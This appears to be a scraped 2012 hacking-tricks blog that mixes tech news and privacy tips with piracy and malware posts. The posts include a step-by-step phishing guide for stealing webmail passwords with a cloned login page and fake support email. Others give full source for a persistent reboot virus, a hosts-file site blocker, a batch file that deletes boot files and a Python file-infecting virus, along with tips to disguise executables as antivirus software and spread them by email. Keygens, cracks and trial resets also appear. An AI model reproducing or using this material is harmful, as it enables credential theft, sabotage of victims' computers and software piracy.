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GarenaDevil v13.3

2012-02-06T04:57:00.000-08:00

Features:
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3.GarenaDevil WarKey
4.GarenaDevil Invoker Tool
5.GarenaDevil Meepo Tool
6.GarenaDevil Dota Heroes Tool
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8.MapHack by YourName

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New Yahoo boss admits that things are bleak

2012-02-04T21:34:00.001-08:00

Yahoo’s new CEOhas just emerged from his office having seen all the books and realised what a poisoned chalice he has taken on.

Scott Thompson said that there was no question that Yahoo needed to do a lot better and he thinks that reviving the company’s flagging display advertising business was the way forward.
This is stage one of a cunning plan which will involve something a little more bolder later on.
Thompson told Reuters that Yahoo needed to “get innovative products that matter into the market

Wall Street appears to be willing to give the former PayPal president some breathing room to settle in and figure out a strategy.
The fact that he seems to be talking with a greater sense of urgency than his predecessors seems to indicate that he has got the hang of the sense of panic which should be required for his job.
However, other than that, Thompson, along with Chief Financial Officer Tim Morse, was cryptic about the progress of Yahoo’s strategic review.
Thompson said that Yahoo would invest the majority of its resources into its core businesses, while remaining open to potential acquisitions and looking for “revenue streams that look different from what we’re doing today.”
The outfit said that its net revenue in the first quarter would range between $1.025 billion and $1.105 billion.
The company earned $296 million in net income in the three months ended December 31 compared with $312 million during the same time last year.

4 Ways to Manage Your Online Reputation

2012-02-04T21:32:00.000-08:00

This Saturday, Jan. 28, is Data Privacy Day. DPD, as it’s known, is a day to “increase awareness of privacy and data protection issues among consumers, organizations and government officials and help industry, academia, and advocates to highlight consumer privacy efforts.”Hear, hear. Data privacy, we can all agree, is important. Nobody, from the teenager posting party photos on Facebook to the Fortune 500 CIO in charge of terabytes of data, wants their information compromised.
To honor DPD, Microsoft commissioned a survey (conducted by Blueocean Market Intelligence) of 5,000 people (children between ages of 8 -17 and adults between 18-74) throughout Canada, Germany, Ireland, Spain, and the United States. The results indicated that most of us are not vigilant about protecting our online profiles and reputations.
Your “online profile”, according to the Microsoft survey, is the sum of online content about you (credit card purchases, medical records), content that you’ve created (emails, videos, posts on social networks) and content about you created by others (someone posting a picture or comments about you on a social network or website).
Your “online reputation” is the image created of you through information you or others shared online in blogs, posts, pictures, tweets and videos.
The Microsoft survey indicates that 67 percent feel they are in control of their online reputations but only 44 percent actively think about the long-term consequences of their online activities.
Shouldn’t we all — not 44 percent of us — think about the consequences of our online footprints? As social media sites like Facebook and Twitter have opened up the world, for better or worse, and as we do more banking and bill paying online, managing online reputations has never been more important.
After all, many employers use Facebook to assess job candidates, and colleges and insurance companies may search for photos and web postings to evaluate applicants.
So how do we become better digital citizens? Here are some steps you can take, according a company blog post penned by Microsoft chief privacy officer Brendon Lynch.
Stay Vigilant and Conduct Your Own ‘Reputation Report’
-Search all variations of your name in search engines, and evaluate whether the results reflect the reputation you’d like to share with the world, including current or future employers, colleagues, friends and family members. Microsoft research found that 37 percent of adults never do this.
-If you find information about yourself that is inaccurate or less than favorable, respectfully request that the person who posted it remove it or correct an error.
Consider Separating Your Professional and Personal Profiles
-When you are job hunting, applying to a school or looking for new insurance or a loan, remember that your online image can be a determining factor for hiring managers and application reviewers. Be sure to use different e-mail addresses, screen names, referring blogs and websites for each profile, and avoid cross-referencing personal sites.
-Fifty-seven percent of adults think about taking steps to keep their work and personal profiles private. However, 17 percent said information intended to remain private had inadvertently been made public online.
-Be judicious about adding personal information to your professional profile. Only include information appropriate in a professional context.
Adjust Your Privacy Settings
-In Internet browsers, social networking sites, personal blogs and other places where you maintain personal data, use privacy settings to help manage who can see your profile or photos, how people can search for you, who can comment and how to block unwanted access. According to Microsoft research, 49 percent of adults do not use privacy settings on social networking sites.
-If you use Internet Explorer 9, use the browser’s tracking protection, which helps block unwanted tracking by third parties. You can also use Internet Explorer’s “InPrivate” browsing mode.
-Periodically review who has access to your content. It’s OK to remove people whom you feel no longer need access.

How To:Permanently Remove Information From Your PEN Drive (which is already deleted)

2012-02-04T21:29:00.001-08:00

When a Pen Driver or SD card is formatted, all the data present on the card is deleted. As they are not permanently erased from the card or pen drive. Since they are just marked for deletion, you can undelete information from Pen Drive using a data recovery software. But there is possibility to permanent delete information from pen drive.
The following tutorial explains how to permanently remove already deleted information from your pen drive or any other partition making the deleted information (for the most part) non-recoverable. We are able to accomplish this task by zeroing out the empty space on the drive using dd. There are many great uses for dd, from forensic data recovery and data backup to zeroing out empty drive space.
Remember these commands will work only Linux distributed operating systems.
Zeroing out the empty space and making deleted information non-recoverable:
1. Create a dummy file named junk.bin on the USB flash drive.
2. Open a terminal and type sudo su
3. Type fdisk -l and locate the partition you would like to zero out.
4. Type mkdir /tmp/ddusb.
5. Type mount -o loop /dev/sdxx /tmp/ddsdb (replacing sdxxx with your partition)
6. Type dd if=/dev/zero of=/tmp/ddusb/junk.bin
7. Type rm /tmp/ddusb/junk.bin
Thats all. Now any empty space on this partition has been filled with zeros and the deleted information that was once on your USB flash drive has been overwritten.

See Youtube Videos without signing in to Your accounts(gmail)

2012-02-04T21:28:00.000-08:00

Hey wazz up !!! everyone, we are back with another very useful trick which will make your YouTube experience much more great. Well sometime you visit YouTube and you try to watch any video, but it contains some mature or adult content which is only viewable by 18+ , well there is no issue in that because they provide a way to sign in and watch that video, but what if you just wanna watch it without signing in.
We have a trick for that so follow the steps below to see how it works. Well you can see the below screenshot on how the thing looks when you access a mature video on YouTube. You get something like this:
So to overcome these warnings and watch these videos without signing in follow the below steps:
1. Browse the Restricted Video (The Mature Content)
2. Now you will see this warning like above simply check the address bar which contains the URL for this video it will be something like below .:
http://www.youtube.com/verify_age?next_url=http%3A//www.youtube.com/watch%3Fv%3DBiWt72CWoBk
3. So in the above URL you can see the red code that’s the thing which you need to copy out it will be after %3D, so copy that code and paste it in Notepad.
4. Now copy the below URL and paste it in the Notepad too .:
http://www.youtube.com/v/VIDEO CODE-HERE?fs=1&amp
5. Now you have to copy the previous code and paste it where it says VIDEO-CODE-HERE, so it will become something like:
http://www.youtube.com/v/BiWt72CWoBk?fs=1&amp
6. So now you have completed the code simply paste this code in the address bar and click enter you will get the video which you play without signing in too your YouTube Account. Nice Trick

Download Crysis 2 (2011/Multi2/RePack)

2012-01-08T20:15:00.000-08:00

Crysis 2 (2011/Multi2/RePack)
Year: 2011 l Platform: PC l Language: English & German l Developer: Crytek l Publisher: Electronic Arts l 7.56 Gb
Genre: Action (Shooter) / 3D / 1st Person

The world was shocked with a series of environmental disasters, and mankind is on the verge of extinction. Aliens have returned, determined to wipe people off the face of the earth and started at the same time with one of the most iconic cities of the earth. New York streets flooded with alien invaders, and the wave of the walking nightmares gradually engulfing the city and its inhabitants. Urban communication systems are destroyed, the buildings are in ruins. This New York City you've ever seen.

Neither law enforcement organizations, nor the U.S. military machine can not cope with the invaders, and all who could not escape in time, are already dead. To survive in this chaos, you need the technology, about which neither the earth's soldiers also have no idea. One person will inherit something that will help him survive. One super-soldiers, armed and equipped with the latest technologies of the future in Nanosuit 2, take a desperate attempt to save humanity in the streets of New York.

Game Features:
- Crytek has always bring to market high-quality projects. In Crysis, two developers of computer surpassed themselves. New York is waiting for you.
- Artificial intelligence is built as if you're up against really think extraterrestrial beings. They can work in a team and - to resist all actions of the player deliberately and realistically.
- In the game you can use different tactics and abilities. This will help you outfit Nanosuit, using the settings that you can teach your character a lot new that should be useful in combat.
- For a collective game, in his new creation Crysis 2 Crytek UK company has retained all the features single. Settings costume Nanosuit 2 will help you with this.
- Be prepared in a deadly battle to defeat the invaders and liberate the planet!

System Requirements:
- OS: Windows XP/Vista/7
- CPU: Intel Core 2 Duo 2 GHz or AMD Athlon 64 X2 2 GHz
- VIDEO: Nvidia GeForce 8800 GT 512MB or AMD Radeon HD 3850 512 MB
- RAM: 2 GB for XP / 3 GB for Vista
- SOUND: DX-Compatible
- HDD: 9 GB

Screen:

Download Internet Download Manager v6.08 Build 3

2012-01-08T10:37:00.001-08:00

Internet Download Manager has a smart download logic accelerator that features intelligent dynamic file segmentation and safe multipart downloading technology to accelerate your downloads. Unlike other download accelerators and managers that segment files before downloading starts, Internet Download Manager segments downloaded files dynamically during download process. Internet Download Manager reuses available connections without additional connect and login stages to achieve better acceleration performance

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Download WinRar v4.00 32/64bit + keygen

2012-01-08T10:33:00.001-08:00

WinRar v4.00 32/64bit + keygen
WinRAR is a powerful archive manager. It can backup your data and reduce the size of email attachments, decompress RAR, ZIP and other files downloaded from Internet and create new archives in RAR and ZIP file format. You can try WinRAR before buy, its trial version is available in
WinRAR is an archiving utility that completely supports RAR and ZIP archives and is able to unpack CAB, ARJ, LZH, TAR, GZ, ACE, UUE, BZ2, JAR, ISO, 7Z, Z archives. It consistently makes smaller archives than the competition, saving disk space and transmission costs.

WinRAR offers a graphic interactive interface utilizing mouse and menus as well as the command line interface. WinRAR is easier to use than many other archivers with the inclusion of a special "Wizard" mode which allows instant access to the basic archiving functions through a simple question and answer procedure.

WinRAR offers you the benefit of industry strength archive encryption using AES (Advanced Encryption Standard) with a key of 128 bits. It supports files and archives up to 8,589 billion gigabytes in size. It also offers the ability to create selfextracting and Multivan archives. With recovery record and recovery volumes, you can reconstruct even physically damaged archives.

Install.
- Use the keygen. This tells you that the executable WinRar is not good. He asks if you want to continue. Answer yes and save the license file generated if asked.

winr v4 64Bit

http://filemac.com/vu8et2euivbv/winr_v4_64Bit_+k.rar

winr v4 32Bit

http://filemac.com/pqh2pm9dqlf0/winr_v4_32_Bit_+k.rar

Download Vipre 4.0.3904 Antivirus Premium

2012-01-08T10:10:00.000-08:00

Vipre antivirus, maybe for some people rarely know about this one antivirus. In fact (according to the information that I read) he says this is the lightest and best antivirus in 2010. I was so interested to try Vipre Antivirus Premium 4.0.3904. Check it out,,

Vipre 4.0.3904 Antivirus Premium is included Antivirus, Antispyware, Firewall is an antivirus that has in it a very good quality. This is based on trial results are in held by pcantivirusreviews.com. Vipre Antivirus also has obtained the certificate of VB100 and ICSA certified.

Some screenshots of the ability of Vipre:

How to Activated Vipre 4.0.3904 Antivirus Premium:

     Open vipre antivirus
     Click on help, choose the registration.
     Enter key "00000-00000-00000-00000-00000" Click Ok.

It will appear a pop-up window to enter the registration password.
Run keygen, enter the expiration year, and then click generate password.

Copy n paste the generated password in the pop-up registration password.
completed Once we managed to activate Vipre Antivirus, now its time for us to update the database. As I write this article, Definitions Vipre antivirus premium has reached its 6887 version and was released on Sep 17, 2010, 6:36 PM. System Requirements :

At least an IBM Compatible 400MHZ computer with minimum 512MB RAM
At least 150MB of available free space on your hard drive
All Internet browsers are supported for Active Protection, scanning, and removal of threats. Internet Explorer 6 or higher must be installed for VIPRE to function properly; however IE does not have to be your default browser.

Supported Operating Systems:
Windows 2000 SP4 RU1, Windows XP and higher (32 and 64-bit), Windows Vista and higher (32 and 64-bit), Windows 7 (32bit & 64-bit)

Supported Email Applications:
Outlook 2000 and higher, Outlook Express 5.0 and higher, Windows Mail on Vista, and SMTP and POP3 (Thunderbird, IncrediMail, Eudora, etc.)

UPDATE (20092010): Since many are confused with the download link below, then I explain again. To download the installer Vipre Antivirus and its keygen, please download the link "Download Vipre Antivirus Premium 4.0.3904 With Keygen" while to download the update files (definitions) its vipre, please click the link "Download VIPRE Antivirus Premium Definitions".
Password : www.remo-xp.com
Download Vipre 4.0.3904 Antivirus Premium With Keygen
Download VIPRE Antivirus Premium Definitions

How to Hack Gmail or Yahoo or Hotmail or Any Other( New Version)

2012-01-07T06:17:00.001-08:00

n the previous version of “how to hack gmail or yahoo or hotmail or any other” One problem faced was that whenever the victim clicks on login a message would come saying “This page will send your information through email” which could sometime fail your hack. But in this new version this problem is eliminated and this is has become more fullproof than the previous version.

First of all you need to create an account in a form handling service. In the registration form enter your email address in the field “Where to send Data” and in redirect enter the URL of the site whose account is to be hacked( For Yahoo it will be http://mail.yahoo.com and for google it is mail.google.com/mail). After registering you will get an email from the web form designer with your form id.

Now follow the following steps :

Open the website of HotMail or GMail or YahooMail, its your wish. If you want to HACK yahoo id, then goto www.yahoomail.com
Now press “CTRL+U”, you will get the source code of yahoo page. NOw press “CTRL+A” copy all the text.
Open NOTEPAD, now paste it here. SAVE it as YAHOOFAKE.HTML
Now open the the file yahoofake.html using noepad, here you ll find a code which starts with <form method=”post” action=”https://login.yahoo.com/config/login?” autocomplete=”off” name=”login_form”> ( This code is for Yahoo. For any other site this code will be different but you need to find the code starting with (form method=”post” action=”xxxxxxxxxxxxx”))
Now in place of (form method=”post” action=”xxxxxxxxxxxxx”)

put the following code after placing your form id:

Now Save the yahoofake.html.
To hack the victim’s password and username the victim has to login through this page. Many people had sent me queries about how to make someone login through your link in the previous version. I have the solution for that also.
First of all upload your page using some free webhosting services. Tip: Register to those webhost which don’t give their own ads and which gives URL of type “your site name.webhost.com”.
Now select your site name as mail.yahoo.com/support. You can also add some rubbish numbers and make is very long so that the victim does not see the name of webhost in the link.
Now send a fake mail from support_yahoo@yahoo.com to the victim’s email address with subject ” Account Frozen” and in the mail write that Due to some technical errors in yahoo we need you to login through this link otherwise your account will be frozen.
After reading this your victim will click and login through the page you created and as you have give the redirection URL as the URL of the site itself so it will goto the login page again and the victim will think that he might have given wrong password so the page came again but in reallity the username and password has been sent to your email account you specified and the victim is still not knowing that his account is hacked Disclaimer: I don’t take Responsibility for what you do with this script, served for Educational purpose only.

A Virus Program to Restart the Computer at Every Startup

2012-01-07T06:06:00.001-08:00

Today I will show you how to create a virus that restarts the computer upon every startup. That is, upon infection, the computer will get restarted every time the system is booted. This means that the computer will become inoperable since it reboots as soon as the desktop is loaded.

For this, the virus need to be doubleclicked only once and from then onwards it will carry out rest of the operations. And one more thing, none of the antivirus softwares detect’s this as a virus since I have coded this virus in C. So if you are familiar with C language then it’s too easy to understand the logic behind the coding.

Here is the source code.

#include<stdio.h>
#include<dos.h>
#include<dir.h> int found,drive_no;char buff[128];
void findroot()
{
int done;
struct ffblk ffblk; //File block structure
done=findfirst(“C:\\windows\\system”,&ffblk,FA_DIREC); //to determine the root drive
if(done==0)
{
done=findfirst(“C:\\windows\\system\\sysres.exe”,&ffblk,0); //to determine whether the virus is already installed or not
if(done==0)
{
found=1; //means that the system is already infected
return;
}
drive_no=1;
return;
}
done=findfirst(“D:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“D:\\windows\\system\\sysres.exe”,&ffblk,0);
if
(done==0)
{
found=1;return;
}
drive_no=2;
return;
}
done=findfirst(“E:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“E:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=3;
return;
}
done=findfirst(“F:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“F:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=4;
return;
}
else
exit(0);
}
void main()
{
FILE *self,*target;
findroot();
if(found==0) //if the system is not already infected
{
self=fopen(_argv[0],”rb”); //The virus file open’s itself
switch(drive_no)
{
case 1:
target=fopen(“C:\\windows\\system\\sysres.exe”,”wb”); //to place a copy of itself in a remote place
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
C:\\windows\\system\\ sysres.exe”); //put this file to registry for starup
break;
case 2:
target=fopen(“D:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
D:\\windows\\system\\sysres.exe”);
break;
case 3:
target=fopen(“E:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
E:\\windows\\system\\sysres.exe”);
break;
case 4:
target=fopen(“F:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
F:\\windows\\system\\sysres.exe”);
break;
default:
exit(0);
}
while(fread(buff,1,1,self)>0)
fwrite(buff,1,1,target);
fcloseall();
}
else
system(“shutdown -r -t 0″); //if the system is already infected then just give a command to restart
}

NOTE: COMMENTS ARE GIVEN IN BROWN COLOUR.

Compiling The Scource Code Into Executable Virus.

1. Download the Source Code Here

2. The downloaded file will be Sysres.C

3. For step-by-step compilation guide, refer my post How to compile C Programs.

Testing And Removing The Virus From Your PC

You can compile and test this virus on your own PC without any fear. To test, just doubleclick the sysres.exe file and restart the system manually. Now onwards ,when every time the PC is booted and the desktop is loaded, your PC will restart automatically again and again.
It will not do any harm apart from automatically restarting your system. After testing it, you can remove the virus by the following steps.

1. Reboot your computer in the SAFE MODE
2. Goto

X:\Windows\System

(X can be C,D,E or F) 3.You will find a file by name sysres.exe, delete it.
4.Type regedit in run.You will goto registry editor.Here navigate to

HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Run

There, on the right site you will see an entry by name “sres“.Delete this entry.That’s it.You have removed this Virus successfully.

Logic Behind The Working Of The Virus

If I don’t explain the logic(Algorithm) behind the working of the virus,this post will be incomplete. So I’ll explain the logic in a simplified manner. Here I’ll not explain the technical details of the program. If you have further doubts please pass comments.

LOGIC:

1. First the virus will find the Root partition (Partition on which Windows is installed).

2. Next it will determine whether the Virus file is already copied(Already infected) into X:\Windows\System

3. If not it will just place a copy of itself into X:\Windows\System and makes a registry entry to put this virus file onto the startup.

4. Or else if the virus is already found in the X:\Windows\System directory(folder), then it just gives a command to restart the computer.

This process is repeated every time the PC is restarted.

NOTE: The system will not be restarted as soon as you double click the Sysres.exe file.The restarting process will occur from the next boot of the system.

AND ONE MORE THING BEFORE YOU LEAVE (This Step is optional)

After you compile, the Sysres.exe file that you get will have a default icon. So if you send this file to your friends they may not click on it since it has a default ICON. So it is possible to change the ICON of this Sysres.exe file into any other ICON that is more trusted and looks attractive.

For example you can change the .exe file’s icon into Norton antivirus ICON itself so that the people seeing this file beleives that it is Norton antivirus. Or you can change it’s ICON into the ICON of any popular and trusted programs so that people will definitely click on it.

The detailed tutorial on changing the ICON is given in my post How To Change The ICON Of An EXE File . Disclaimer: I don’t take Responsibility for what you do with this script, served for Educational purpose only.

A Virus Program to Block Websites

2012-01-07T06:04:00.001-08:00

Most of us are familiar with the virus that used to block Orkut and Youtube site. If you are curious about creating such a virus on your own, here is how it can be done. As usual I’ll use my favorite programming language ‘C’ to create this website blocking virus. I will give a brief introduction about this virus before I jump into the technical jargon.

This virus has been exclusively created in ‘C’. So, anyone with a basic knowledge of C will be able to understand the working of the virus. This virus need’s to be clicked only once by the victim. Once it is clicked, it’ll block a list of websites that has been specified in the source code. The victim will never be able to surf those websites unless he re-install’s the operating system. This blocking is not just confined to IE or Firefox. So once blocked, the site will not appear in any of the browser program.

NOTE: You can also block a website manually. But, here I have created a virus that automates all the steps involved in blocking. The manual blocking process is described in the post How to Block a Website ?

Here is the sourcecode of the virus.

#include<stdio.h>
#include<dos.h>
#include<dir.h> char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;
int find_root(void);
void block_site(void);
int find_root()
{
int done;
struct ffblk ffblk;//File block structure
done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
else return 0;
}
void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/
fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}
void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}

How to Compile ?

For step-by-step compilation guide, refer my post How to compile C Programs.

Testing

1. To test, run the compiled module. It will block the sites that is listed in the source code.

2. Once you run the file block_Site.exe, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.

3. To remove the virus type the following the Run.

%windir%\system32\drivers\etc

4. There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this

127.0.0.1 google.com

5. Delete all such entries which contain the names of blocked sites.

NOTE: You can also change the ICON of the virus to make it look like a legitimate program.This method is described in the post: How to Change the ICON of an EXE file ?
Disclaimer: I don’t take Responsibility for what you do with this script, served for Educational purpose only.

How to Make a Trojan Horse

2012-01-07T06:01:00.001-08:00

Most of you may be curious to know about how to make a Trojan or Virus on your own. Here is an answer for your curiosity. In this post I’ll show you how to make a simple Trojan on your own using C programming language. This Trojan when executed will eat up the hard disk space on the root drive (The drive on which Windows is installed, usually C: Drive) of the computer on which it is run. Also this Trojan works pretty quickly and is capable of eating up approximately 1 GB of hard disk space for every minute it is run. So, I’ll call this as Space Eater Trojan. Since this Trojan is written using a high level programming language it is often undetected by antivirus. The source code for this Trojan is available for download at the end of this post. Let’s see how this Trojan works…

Before I move to explain the features of this Trojan you need to know what exactly is a Trojan horse and how it works. As most of us think a Trojan or a Trojan horse is not a virus. In simple words a Trojan horse is a program that appears to perform a desirable function but in fact performs undisclosed malicious functions that allow unauthorized access to the host machine or create a damage to the computer.

Now lets move to the working of our Trojan

The Trojan horse which I have made appears itself as an antivirus program that scans the computer and removes the threats. But in reality it does nothing but occupy the hard disk space on the root drive by just filling it up with a huge junk file. The rate at which it fills up the hard disk space it too high. As a result the the disk gets filled up to 100% with in minutes of running this Trojan. Once the disk space is full, the Trojan reports that the scan is complete. The victim will not be able to clean up the hard disk space using any cleanup program. This is because the Trojan intelligently creates a huge file in the Windows\System32 folder with the .dll extension. Since the junk file has the .dll extention it is often ignored by disk cleanup softwares. So for the victim, there is now way to recover the hard disk space unless reformatting his drive.

The algorithm of the Trojan is as follows
1. Search for the root drive
2. Navigate to WindowsSystem32 on the root drive
3. Create the file named “spceshot.dll”
4. Start dumping the junk data onto the above file and keep increasing it’s size until the drive is full
5. Once the drive is full, stop the process.
You can download the Trojan source code HERE. Please note that I have not included the executabe for security reasons. You need to compile it to obtain the executable.

How to compile, test and remove the damage?

Compilation:
For step-by-step compilation guide, refer my post How to compile C Programs.

Testing:

To test the Trojan, just run the SpaceEater.exe file on your computer. It’ll generate a warning message at the beginning. Once you accept it, the Trojan runs and eats up hard disk space.

NOTE: To remove the warning message you’ve to edit the source code and then re-compile it.

How to remove the Damage and free up the space?

To remove the damage and free up the space, just type the following in the “run” dialog box.

%systemroot%\system32

Now search for the file “spceshot.dll“. Just delete it and you’re done. No need to re-format the hard disk.

NOTE: You can also change the ICON of the virus to make it look like a legitimate program. This method is described in the post: How to Change the ICON of an EXE file ?

A Virus Program to Disable USB Ports

2012-01-07T05:57:00.001-08:00

In this post I will show how to create a simple virus that disables/blocks the USB ports on the computer (PC). As usual I use my favorite C programming language to create this virus. Anyone with a basic knowledge of C language should be able to understand the working of this virus program.

Once this virus is executed it will immediately disable all the USB ports on the computer. As a result the you’ll will not be able to use your pen drive or any other USB peripheral on the computer. The source code for this virus is available for download. You can test this virus on your own computer without any worries since I have also given a program to re-enable all the USB ports.

1. Download the USB_Block.rar file on to your computer.
2. It contains the following 4 files.

block_usb.c (source code)
unblock_usb.c (source code)

3. You need to compile them before you can run it. A step-by-step procedure to compile C programs is given in my post - How to Compile C Programs.

3. Upon compilation of block_usb.c you get block_usb.exe which is a simple virus that will block (disable) all the USB ports on the computer upon execution (double click).

4. To test this virus, just run the block_usb.exe file and insert a USB pen drive (thumb drive). Now you can see that your pen drive will never get detected. To re-enable the USB ports just run the unblock_usb.exe (you need to compile unblock_usb.c) file. Now insert the pen drive and it should get detected.

5. You can also change the icon of this file to make it look like a legitimate program. For more details on this refer my post – How to Change the ICON of an EXE file (This step is also optional)

Hide My IP Full Version Free Software Download + Remove Time Limit

2012-01-07T02:16:00.001-08:00

Today I’m Come With The No.1 Software For Hide Your IP Address Called Hide My IP.

You All Know That, This Software Is Come With A Trial Period. So It Only Work For 14 Days And Than You Can Not Use It Anyway Except Pay For It.

But I Have A Trick To Use It Lifetime Without Any Efforts. So Follow The Tutorial And Enjoy!

First Of All Download The File Below And Extract It.

Download Now

Now There Are Software Called Hide My IP In Download Package. Install It To Your Computer.

Now You Can See That When You Started The Software It Says Like 14 Days Left Or anything Else. Now We Need To Remove This Time Limit.

So Follow The Procedure :

Open Run And Type Regedit And Press Enter. It Will Open Registry Editor.

In Registry Editor Navigate To HKEY_CURRENT_USER\Software\HideMyIP

And There You Can See A Value Named KEY Delete it. See The Screenshot Below !

Now Open Hide my IP Reset Time x32.exe OR Hide my IP Reset Time x64.exe as Depend On Your System. Now The Window Will Popup.

You Can Click On Readme!! From The Popup To Read Instructions.

Now Click On Search And Select The Hidemyip.exe From Where You Install It. Generally It Will Be C:/Program Files/Hide My Ip

Now Click On Install Date.Then Start And Then Close.

How To: Crack Adobe Fireworks CS5 | Adobe Fireworks cs5 Crack+Keygen+serial free download

2012-01-07T01:59:00.001-08:00

Hello Friends today I am gonna tell you a very interesting and 101% working way to crack Adobe Fireworks cs5. You may probably thinking that its not right to still something but this as educational purpose tutorial. Now a days its really hard to find Working crack and keygen for a particular software. Adobe Fireworks is a dynamic tool for designing graphics and edit them. Today I will teach how to crack and activate Adobe fireworks cs5 for free. Its really easy and I will try my best to make this post much more easier. Now we will proceed further Step by Step. Firstly download Crack and serials from link given below

Now Let’s get started
Step 1-
Uninstall all previous version of Adobe fireworks cs3/cs4/cs5. now disconnect this internet for a while
Step 2-
Make sure your internet should be disconnected now open host file which is located in C: \ Windows \ System32 \ drivers \ etc . Make sure when you are opening host file use notepad for open it. and paste these ips below all the lines
127.0.0.1 activate.adobe.com
127.0.0.1 practivate.adobe.com
127.0.0.1 ereg.adobe.com
127.0.0.1 activate.wip3.adobe.com
127.0.0.1 wip3.adobe.com
127.0.0.1 3dns-3.adobe.com
127.0.0.1 3dns-2.adobe.com
127.0.0.1 adobe-dns.adobe.com
127.0.0.1 adobe-dns-2.adobe.com
127.0.0.1 adobe-dns-3.adobe.com
127.0.0.1 ereg.wip3.adobe.com
127.0.0.1 activate-sea.adobe.com
WWIS-127.0.0.1-dubc1 vip60.adobe.com
127.0.0.1 activate-sjc0.adobe.com
127.0.0.1 adobe.activate.com
127.0.0.1 adobeereg.com
127.0.0.1 www.adobeereg.com
WWIS-127.0.0.1-dubc1 vip60.adobe.com
127.0.0.1 125.252.224.90
127.0.0.1 125.252.224.91
127.0.0.1 hl2rcv.adobe.com
if you are feeling unsafe to edit them then open our host file which is available in Crack folder which you recently downloaded and copy and paste all text in your window’s host file and save it. If window showing error in saving the file, in that condition you have to open notepad as administrator and then try it.
Step 3-
Now install Adobe Fireworks cs5 and use serial for activating them. You can find serial it crack folder
step 4-
Now navigate to C: \ Program Files \ Adobe \ Adobe Fireworks CS5 and replace amtlib.dll . This crack will work only for 32-bit systems . now restart your computer and you can use fireworks for free forever
That’s it you are done and Adobe Fireworks cs5 has been cracked. Hope you enjoyed the article. If you want to stay updated you can subscribe to our feeds. Just enter your e-mail address below and click subscribe, we will notify you whenever new post will made

Virus that Crashes computer | Virus To Crash The Computer | Computer Crashing Virus

2012-01-07T01:52:00.001-08:00

Virus that crashes pc
@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini
@echo off
msg * YOU GOT OWNED!!!
shutdown -s -t 7 -c “A VIRUS IS TAKING OVER c:Drive
save as bat file in notepad!!
This will pop up a message saying OWNED!!
and shut down the computer never to reboot again!
IT IS A VERY HARMFUL VIRUS SO PLEASE DON’T TRY IT TO YOURSELF
THERE IS ANOTHER FULL CODE OF OTHER VIRUS
Python Prepender Virus
Prependers are again standard infection types. All this does is add its code to the top of the infected file
Code:
import glob
from string import *
x = glob.glob(“*.py”) + glob.glob(“*.pyw”)
for x in x:
host = open(x, ‘r’)
hostcode = host.read()
if find(hostcode, “-=::VortX::=-”) == -1:
host = open(x, ‘w’)
myself = open(__file__, ‘r’)
a = myself.read()
num=50*2+5
a = a[:find(a, "#VORTX")+num]
mybody=a+chr(10)+hostcode
myself.close()
host.write(mybody)
#VORTX
So:
SEND IT USING PEN DRIVE OR EMAIL BUT DON’ T RUN THIS IN YOUR COMPUTER

Facebook porn virus/worm alert: Worm hidden in video spam of blonde

2012-01-07T01:42:00.001-08:00

A new piece of malware is spreading across Facebook by leveraging either stolen account credentials or possibly a rogue app. This one is a worm that is being shared via malicious links on the social network, according to the Danish website CSIS, which listed the following domains as sources for the malware:

ferry.coza
maximilian-adam.com
bacolodhouseandlot.com
servi ceuwant.com
centralimoveisbonitoms.com.br
weread.in.th
villamatildabb.com
fionagh-bennet-music.co.uk
ukseikatsu.com
bzoe-salzkammergut.at
delicescolres.com
dekieviten.nl
